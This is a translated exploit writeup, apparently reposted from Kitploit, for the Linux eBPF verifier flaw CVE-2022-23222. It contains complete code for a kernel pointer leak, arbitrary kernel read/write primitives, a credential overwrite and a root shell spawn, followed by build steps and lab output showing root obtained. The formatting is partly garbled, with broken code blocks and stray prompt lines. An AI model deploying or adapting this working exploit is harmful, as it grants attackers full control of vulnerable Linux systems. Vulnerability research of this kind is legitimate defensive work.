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CVE-2022-23222 — CVE-2022-23222,使用 Rust 管理。 | Kitploit
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CVE-2022-23222

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CVE-2022-23222

如果你只想构建并运行这个东西,点这里。 下面大致是对这篇中文文章(writeup)的翻译, 原文见此处。

我们将以 5.13.0 版本的主线内核代码作为参考。 可用的指针类型与检查其边界的函数之间存在不匹配。 这种不匹配最早在 Linux 5.8 中引入,此后已被修补。 可用指针类型的列表见 此处。```c /* types of values stored in eBPF registers / / Pointer types represent:

  • pointer
  • pointer + imm
  • pointer + (u16) var
  • pointer + (u16) var + imm
  • if (range > 0) then [ptr, ptr + range - off) is safe to access
  • if (id > 0) means that some 'var' was added
  • if (off > 0) means that 'imm' was added / enum bpf_reg_type { NOT_INIT = 0, / nothing was written into register / SCALAR_VALUE, / reg doesn't contain a valid pointer / PTR_TO_CTX, / reg points to bpf_context / CONST_PTR_TO_MAP, / reg points to struct bpf_map / PTR_TO_MAP_VALUE, / reg points to map element value / PTR_TO_MAP_VALUE_OR_NULL,/ points to map elem value or NULL / PTR_TO_STACK, / reg == frame_pointer + offset / PTR_TO_PACKET_META, / skb->data - meta_len / PTR_TO_PACKET, / reg points to skb->data / PTR_TO_PACKET_END, / skb->data + headlen / PTR_TO_FLOW_KEYS, / reg points to bpf_flow_keys / PTR_TO_SOCKET, / reg points to struct bpf_sock / PTR_TO_SOCKET_OR_NULL, / reg points to struct bpf_sock or NULL / PTR_TO_SOCK_COMMON, / reg points to sock_common / PTR_TO_SOCK_COMMON_OR_NULL, / reg points to sock_common or NULL / PTR_TO_TCP_SOCK, / reg points to struct tcp_sock / PTR_TO_TCP_SOCK_OR_NULL, / reg points to struct tcp_sock or NULL / PTR_TO_TP_BUFFER, / reg points to a writable raw tp's buffer / PTR_TO_XDP_SOCK, / reg points to struct xdp_sock / // ... omitted ... PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM, / reg points to valid memory region / PTR_TO_MEM_OR_NULL, / reg points to valid memory region or NULL / PTR_TO_RDONLY_BUF, / reg points to a readonly buffer / PTR_TO_RDONLY_BUF_OR_NULL, / reg points to a readonly buffer or NULL / PTR_TO_RDWR_BUF, / reg points to a read/write buffer / PTR_TO_RDWR_BUF_OR_NULL, / reg points to a read/write buffer or NULL / PTR_TO_PERCPU_BTF_ID, / reg points to a percpu kernel variable / PTR_TO_FUNC, / reg points to a bpf program function / PTR_TO_MAP_KEY, / reg points to a map element key */ __BPF_REG_TYPE_MAX, };
root@kitploit:~
如你所见,有许多 `_OR_NULL` 指针类型,用于指针可能...为 null 的情况。验证器通常只允许你在此处进行空值检查,或作为某些函数的参数。下面的函数,可在[此处](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720)查看,负责跟踪和检查指针边界。```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
 * Caller should also handle BPF_MOV case separately.
 * If we return -EACCES, caller may want to try again treating pointer as a
 * scalar.  So we only emit a diagnostic if !env->allow_ptr_leaks.
 */
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
				   struct bpf_insn *insn,
				   const struct bpf_reg_state *ptr_reg,
				   const struct bpf_reg_state *off_reg)
{
    // ... omitted ...

	switch (ptr_reg->type) {
	case PTR_TO_MAP_VALUE_OR_NULL:
		verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
			dst, reg_type_str[ptr_reg->type]);
		return -EACCES;
	case CONST_PTR_TO_MAP:
		/* smin_val represents the known value */
		if (known && smin_val == 0 && opcode == BPF_ADD)
			break;
		fallthrough;
	case PTR_TO_PACKET_END:
	case PTR_TO_SOCKET:
	case PTR_TO_SOCKET_OR_NULL:
	case PTR_TO_SOCK_COMMON:
	case PTR_TO_SOCK_COMMON_OR_NULL:
	case PTR_TO_TCP_SOCK:
	case PTR_TO_TCP_SOCK_OR_NULL:
	case PTR_TO_XDP_SOCK:
		verbose(env, "R%d pointer arithmetic on %s prohibited\n",
			dst, reg_type_str[ptr_reg->type]);
		return -EACCES;
	default:
		break;
	}
    
    // ... omitted ...
    
	return 0;
}

不幸的是,此列表缺少某些类型。具体来说, PTR_TO_BTF_ID、PTR_TO_BTF_ID_OR_NULL、PTR_TO_MEM、 PTR_TO_MEM_OR_NULL、PTR_TO_RDONLY_BUF、PTR_TO_RDONLY_BUF_OR_NULL、 PTR_TO_RDWR_BUF 和 PTR_TO_RDWR_BUF_OR_NULL。通过使用 RINGBUF 映射类型,我们可以创建一个 PTR_TO_MEM_OR_NULL,这将允许我们执行 本不应执行的算术运算。

漏洞利用分解

首先,我们创建两个映射。ARRAY 映射将用于在用户空间与 BPF 程序之间 传递信息。RINGBUF 映射将用于给 寄存器提供可利用的指针类型。```c int create_bpf_maps(context_t *ctx) { int ret = 0;

root@kitploit:~
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
    WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
    return ret;
}
ctx->comm_fd = ret;

if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
    WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
    return ret;
}
ctx->ringbuf_fd = ret;

return 0;

}

root@kitploit:~
现在,我们加载并运行一个特制的 BPF 程序,它将首先,
将 `ARRAY` 映射地址的内核空间地址保存到 BPF 栈上,
然后利用之前的指针疏忽将该地址的最后一个字节
清零。验证器会认为我们正在从数组的开头读取,
但实际我们读取的是稍低几个字节的位置,这(希望)会让我们获得
一个内核地址。```c
int do_leak(context_t *ctx)
{
    int ret = -1;
    struct bpf_insn insn[] = {
        // r9 = r1
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

        // r0 = bpf_lookup_elem(ctx->comm_fd, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
        BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

        // if (r0 == NULL) exit(1)
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_IMM(BPF_REG_0, 1),
        BPF_EXIT_INSN(),

        // r8 = r0
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

        // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
        BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
        BPF_MOV64_IMM(BPF_REG_3, 0x00),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

        // this is where the verifier loses track of r1
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

        // if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_MOV64_IMM(BPF_REG_2, 1),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
        BPF_MOV64_IMM(BPF_REG_0, 2),
        BPF_EXIT_INSN(),

        // verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and  r1 = 1 on runtime.

        // r7 = r1 + 8
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),

        // verifier believe r7 = 8, but r7 = 9 actually.

        // store the array pointer (0xFFFF..........10 + 0xE0)
        BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),

        // partial overwrite array pointer on stack

        // r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
        BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
        BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
        BPF_MOV64_IMM(BPF_REG_5, 1),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

        // r6 = 0xFFFF..........00 (off = 0xE0)
        BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0),

        
        // map_update_elem(ctx->comm_fd, 0, r6, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
        BPF_MOV64_IMM(BPF_REG_4, 0),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN()
    };

    int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
    if (prog < 0) {
        WARNF("Could not load program(do_leak):\n %s", bpf_log_buf);
        goto abort;
    }

    int err = bpf_prog_skb_run(prog, ctx->bytes, 8);

    if (err != 0) {
        WARNF("Could not run program(do_leak): %d (%s)", err, strerror(err));
        goto abort;
    }

    int key = 0;
    err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
    if (err != 0) {
        WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
        goto abort;
    }
    
    u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);
    if ((array_map&0xFFFFF00000000000) < 0xFFFF800000000000){
        WARNF("Could not leak array map: got %p", (kaddr_t)array_map);
        goto abort;
    }

    ctx->array_map = (kaddr_t)array_map;
    DEBUGF("array_map @ %p", ctx->array_map);

    ret = 0;

abort:
    if (prog > 0) close(prog);
    return ret;
}

现在我们设置两个 BPF 程序,利用与之前相同的技巧 来欺骗验证器,使其认为我们拥有一个指向允许访问对象的指针 (这里与之前一样,指向 comm_fd map),而实际上它是我们选择的任意指针。我们 然后就可以读取或写入该任意地址。```c int prepare_arbitrary_rw(context_t *ctx) { int arbitrary_read_prog = 0; int arbitrary_write_prog = 0;

root@kitploit:~
struct bpf_insn arbitrary_read[] = {
    // r9 = r1
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

    // r0 = bpf_lookup_elem(ctx->comm_fd, 0)
    BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
    BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

    // if (r0 == NULL) exit(1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 1),
    BPF_EXIT_INSN(),

    // r8 = r0
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

    // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
    BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
    BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
    BPF_MOV64_IMM(BPF_REG_3, 0x00),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

    // this is where the verifier loses track of r1
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

    // if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
    BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
    BPF_MOV64_IMM(BPF_REG_2, 1),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
    BPF_MOV64_IMM(BPF_REG_0, 2),
    BPF_EXIT_INSN(),

    // verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and  r1 = 1 on runtime.

    // r7 = (r1 + 1) * 8
    BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),

    // verifier believe r7 = 8, but r7 = 16 actually.

    // store the array pointer
    BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),

    // overwrite array pointer on stack

    // r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
    BPF_MOV64_IMM(BPF_REG_2, 0),
    BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
    BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
    BPF_MOV64_IMM(BPF_REG_5, 1),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

    // fetch our arbitrary address pointer
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
    
    BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_6, 0),
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0),

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
};

arbitrary_read_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_read, sizeof(arbitrary_read) / sizeof(arbitrary_read[0]), "");
if (arbitrary_read_prog < 0) {
    WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
    goto abort;
}

struct bpf_insn arbitrary_write[] = {
    // r9 = r1
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

    // r0 = bpf_lookup_elem(ctx->comm_fd, 0)
    BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
    BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

    // if (r0 == NULL) exit(1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 1),
    BPF_EXIT_INSN(),

    // r8 = r0
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

    // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
    BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
    BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
    BPF_MOV64_IMM(BPF_REG_3, 0x00),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

    // if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
    BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
    BPF_MOV64_IMM(BPF_REG_2, 1),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
    BPF_MOV64_IMM(BPF_REG_0, 2),
    BPF_EXIT_INSN(),

    // verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and  r1 = 1 on runtime.

    // r7 = (r1 + 1) * 8
    BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),

    // verifier believe r7 = 8, but r7 = 16 actually.

    // store the array pointer
    BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),

    // overwrite array pointer on stack

    // r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
    BPF_MOV64_IMM(BPF_REG_2, 0),
    BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
    BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
    BPF_MOV64_IMM(BPF_REG_5, 1),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

    // fetch our arbitrary address pointer
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
    
    BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 8),

    // if (r0 == 0) { *(u64*)r6 = r1 }
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
    BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 0),
    BPF_JMP_IMM(BPF_JA, 0, 0, 1),
    // else { *(u32*)r6 = r1 }
    BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_1, 0),

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
};

arbitrary_write_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_write, sizeof(arbitrary_write) / sizeof(arbitrary_read[0]), "");
if (arbitrary_write_prog < 0) {
    WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
    goto abort;
}

ctx->arbitrary_read_prog = arbitrary_read_prog;
ctx->arbitrary_write_prog = arbitrary_write_prog;
return 0;

abort: if (arbitrary_read_prog > 0) close(arbitrary_read_prog); if (arbitrary_write_prog > 0) close(arbitrary_write_prog); return -1; }

root@kitploit:~
现在我们可以开始提升权限了。首先,我们将生成一批具有已知名称的进程,将其设置为 `__ID__`(在本例中为 `"SCSLSCSL"`)。然后,我们让每个这样的进程在尝试生成 shell 之前自行停止。```c
int spawn_processes(context_t *ctx)
{
    for (int i = 0; i < PROC_NUM; i++)
    {
        pid_t child = fork();
        if (child == 0) {
            if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
                WARNF("Could not set name");
            }
            uid_t old = getuid();
            kill(getpid(), SIGSTOP);
            uid_t uid = getuid();
            if (uid == 0 && old != uid) {
                OKF("Enjoy root!");
                system("/bin/sh");
            }
            exit(uid);
        }
        if (child < 0) {
            return child;
        }
        ctx->processes[i] = child;
    }

    return 0;
}

当这些进程下次恢复时,其中一个有望拥有 root 权限。
该漏洞利用程序设置了一些任意读写辅助函数,但无需理解它们。
它们只是让你通过调用上面构建的程序来读写
任意内核地址。现在我们开始扫描内存,直到找到我们某个进程的
task_struct
直到找到我们在 comm 中设置的名字。
然后我们向下偏移 0x10 (16) 字节到指向
cred 的指针 (它会尝试两个相邻的位置)。```c int find_cred(context_t ctx) { for (int i = 0; i < PAGE_SIZEPAGE_SIZE ; i++) { u64 val = 0; kaddr_t addr = ctx->array_map + PAGE_SIZE + i*0x8; if (arbitrary_read(ctx, addr, &val, BPF_DW) != 0) { WARNF("Could not read kernel address %p", addr); return -1; }

root@kitploit:~
    // DEBUGF("addr %p = 0x%016x", addr, val);

    if (memcmp(&val, __ID__, sizeof(val)) == 0) {
        kaddr_t cred_from_task = addr - 0x10;
        
        if (arbitrary_read(ctx, cred_from_task + 8, &val, BPF_DW) != 0) {
            WARNF("Could not read kernel address %p + 8", cred_from_task);
            return -1;
        }

        if (val == 0 && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != 0) {
            WARNF("Could not read kernel address %p + 0", cred_from_task);
            return -1;
        }

        if (val != 0) {
            ctx->cred = (kaddr_t)val;
            DEBUGF("task struct ~ %p", cred_from_task);
            DEBUGF("cred @ %p", ctx->cred);
            return 0;
        }
        

    }
}

return -1;

}

root@kitploit:~
现在我们已经有了我们某个
进程的 [`cred`](https://elixir.bootlin.com/linux/v5.13/source/include/linux/cred.h#L110)
结构地址,我们可以通过覆盖凭据来提升权限。我们将 `uid`、`gid`、`euid` 和 `egid` 设置为零。```c
int overwrite_cred(context_t *ctx)
{
    if (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, 0, BPF_W) != 0) {
        return -1;
    }
    if (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, 0, BPF_W) != 0) {
        return -1;
    }
    if (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, 0, BPF_W) != 0) {
        return -1;
    }
    if (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, 0, BPF_W) != 0) {
        return -1;
    }

    return 0;
}

现在,我们通过恢复之前的进程来“生成一个 root shell”。拥有新 root 凭据的进程 将使用 system("/bin/sh") 生成一个 shell,而其余进程将退出。```c int spawn_root_shell(context_t *ctx) { for (int i = 0; i < PROC_NUM; i++) { kill(ctx->processes[i], SIGCONT); } while(wait(NULL) > 0);

root@kitploit:~
return 0;

}

root@kitploit:~
一旦用户退出 root shell,我们会关闭所有残留的文件描述符
并优雅地退出。```c
int clean_up(context_t *ctx)
{
    close(ctx->comm_fd);
    close(ctx->arbitrary_read_prog);
    close(ctx->arbitrary_write_prog);
    kill(0, SIGCONT);
    return 0;
}

构建

从项目根目录,在已安装 Docker 且您的用户具有相应权限的情况下,运行以下命令:``` $ ./build.sh

root@kitploit:~
这将使用 Ubuntu 20.04 构建漏洞利用应用程序,该程序开箱即用
并可在所有易受攻击的目标 Ubuntu 系统上运行。```
❯ ./build.sh
Sending build context to Docker daemon   42.6MB
Step 1/6 : FROM ubuntu:20.04
 ---> 20fffa419e3a
Step 2/6 : ARG DEBIAN_FRONTEND=noninteractive
 ---> Using cache
 ---> 21a8156714bb
Step 3/6 : RUN apt-get update &&     apt-get upgrade -y &&     apt-get update &&     apt-get install build-essential curl -y
 ---> Using cache
 ---> 54b21b81a3ba
Step 4/6 : RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
 ---> Using cache
 ---> bb02d929e275
Step 5/6 : ENV PATH="/root/.cargo/bin:${PATH}"
 ---> Using cache
 ---> 3475521f417d
Step 6/6 : WORKDIR /data
 ---> Using cache
 ---> 981ef909c81a
Successfully built 981ef909c81a
Successfully tagged cve_2022_23222:latest

Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
/data /data
    Updating crates.io index
 Downloading crates ...
  Downloaded cfg-if v1.0.0
  Downloaded cc v1.0.73
  Downloaded libc v0.2.126
  Downloaded memoffset v0.6.5
  Downloaded bitflags v1.3.2
  Downloaded autocfg v1.1.0
  Downloaded nix v0.24.1
   Compiling cve_2022_23222 v0.1.0 (/data)
    Finished release [optimized] target(s) in 34.45s

测试(Vagrant 实验室)

安装 vagrant 后,只需运行以下命令。默认情况下,vagrant 配置会使用 rsync 将此文件夹复制到 /exploit。你可以修改 Vagrantfile 以适合你的本地环境,如果你愿意的话。``` ❯ cd lab ❯ vagrant up && vagrant ssh Bringing machine 'default' up with 'libvirt' provider...

... omitted for space ...

==> default: Running provisioner: shell... default: Running: inline script default: kernel.unprivileged_bpf_disabled = 0 vagrant@ubuntu2110:~$ /exploit/target/release/cve_2022_23222 [D] DEBUG: array_map @ 0xffff8aecb303c000 [D] DEBUG: task struct ~ 0xffff8aecb3408ae8 [D] DEBUG: cred @ 0xffff8aec8c0b36c0 [+] Enjoy root!

id

uid=0(root) gid=0(root) groups=0(root),1000(vagrant)

exit

vagrant@ubuntu2110:~$ logout

root@kitploit:~
## 参考

 - [https://github.com/tr3ee/CVE-2022-23222](https://github.com/tr3ee/CVE-2022-23222)
 - [https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt](https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt)
 - [https://www.openwall.com/lists/oss-security/2022/01/18/2](https://www.openwall.com/lists/oss-security/2022/01/18/2)

## 许可证

我的所有代码均以 MIT 许可证发布。原作者未附带许可证文件,但表示其“仅用于教育和研究目的。”创作此内容既具有教育意义,也用于研究,因此我认为这符合条件。请将 `src/exploit/` 下的代码视为采用相同的“仅用于教育和研究目的”许可证。无论这意味着什么。
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